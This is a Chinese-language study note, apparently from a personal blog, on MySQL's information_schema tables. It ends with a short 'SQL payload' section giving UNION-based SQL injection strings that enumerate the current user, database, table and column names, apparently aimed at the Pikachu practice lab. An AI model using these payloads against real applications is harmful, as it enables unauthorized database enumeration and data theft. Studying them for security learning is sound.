MySQL information_schema

MySQL information_schema

参考：

https://www.cnblogs.com/yachao1120/p/12058836.html

information_schema是一个描述MySQL中所有dbs，tables，columns，privileges等数据的一个数据库，及metadata

• SCHEMATA

  提供当前MySQL实例中所有数据库的信息，是show databases的结果取之此表

• TABLES

  提数据库中所有的表信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，列数，创建时间等信息show tables from schemaname

• COLUMNS

  提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

• STATISTICS

  提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

• USER_PRIVILEGES

  给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

• SCHEMA_PRIVILEGES

  给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表。是非标准表。

• TABLE_PRIVILEGES

  给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。

• COLUMN_PRIVILEGES

  给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

• CHARACTER_SETS

  提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

• COLLATIONS

  提供了关于各字符集的对照信息。

• COLLATION_CHARACTER_SET_APPLICABILITY

  指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

• TABLE_CONSTRAINTS

  描述了存在约束的表。以及表的约束类型。

• KEY_COLUMN_USAGE

  描述了具有约束的键列。

• ROUTINES

  提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数（UDF）。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

• VIEWS

  给出了关于数据库中的视图的信息。需要有show views权限，否则无法查看视图信息。

• TRIGGERS

  提供了关于触发程序的信息。必须有super权限才能查看该表

SQL payload

通过内置函数获取到数据库名

' union select user(),database()#

获取对应数据库中的表名和行数

' union select table_name,table_rows from information_schema.tables where table_schema = 'pikachu' #

查询对应表名的列名

' union select table_name,column_name from information_schema.columns where table_name='users'#

然后可以同样通过union查询对应的值